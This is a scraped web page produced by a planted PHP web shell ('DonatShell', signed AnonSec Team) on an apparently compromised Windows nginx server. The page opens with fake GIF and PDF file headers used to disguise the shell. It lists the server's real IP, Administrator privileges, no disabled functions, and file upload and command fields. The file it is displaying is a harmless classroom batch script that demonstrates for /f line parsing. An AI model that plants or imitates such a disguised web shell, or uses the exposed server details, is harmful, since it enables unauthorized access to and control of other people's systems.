GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1861/ExampleFiles/Lab04/ooga/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1861/ExampleFiles/Lab04/ooga/for_FileParsing.cmd
@echo off
:: for_FileParsing.cmd
:: Demonstrates how to parse each line of a text file and use the data from each line.

:: Simple stepping through a list.
::for /f %%a in (for_file.txt) do echo a=%%a
::for /f %%a in (for_file.txt) do echo a=%%a b=%%b c=%%c d=%%d
::for /f "tokens=1,2,3" %%a in (for_file.txt) do echo last=%%c first=%%b sid=%%a
::for /f "tokens=*" %%a in (for_file.txt) do echo last=%%c first=%%b sid=%%a
::for /f "tokens=1,*" %%a in (for_file.txt) do echo last=%%c first=%%b sid=%%a
::if NOT exist FileParsing\*.* md FileParsing
::for /f "tokens=1-3" %%a in (for_file.txt) do call:MakeForFiles %%a %%b %%c
::for /f "tokens=1-6" %%a in (for_Dir.txt) do call:MakeFiles %%a %%b %%c %%d %%e %%f
::For /f "tokens=1-6" %%a in (for_Dir.txt) do call:MakeFiles "%%a" "%%b" "%%c" "%%d" "%%e" "%%f"
::for /f "tokens=1-6 skip=5" %%a in (for_Dir.txt) do call:MakeFiles "%%a" "%%b" "%%c" "%%d" "%%e" "%%f"
for /f "tokens=1-4,* skip=5" %%a in (for_Dir.txt) do call:MakeFiles "%%a" "%%b" "%%c" "%%d" "%%e"
goto:EOF

:MakeFiles
::echo.
::echo 1=%1 2=%2 3=%3 4=%4 5=%5 6=%6
::echo 1=%~1 2=%~2 3=%~3 4=%~4 5=%~5 6=%~6
echo 1=%1 2=%2 3=%3 4=%4 5=%5
::for /f "delims=/ tokens=1-4       " %%a in ("%~1") do call:ParseFileName "%%a" "%%b" "%%c" "%%d"
::for /f "delims=/ tokens=1-4 usebackq" %%a in ('%~1') do call:ParseFileName "%%a" "%%b" "%%c" "%%d"
:: get the minute the file was created.
for /f "delims=: tokens=1-2" %%a in ("%~2") do call:ParseFileTime "%%a" "%%b"
goto:EOF

:MakeForFiles
echo on
echo %1>FileParsing\%2%3.txt
@echo off
goto:EOF

:ParseFileName
echo 1=%1 2=%2 3=%3 4=%4 5=%5
goto:EOF

:ParseFileTime
echo The file minute is %2.
goto:EOF

Anon7 - 2022
AnonSec Team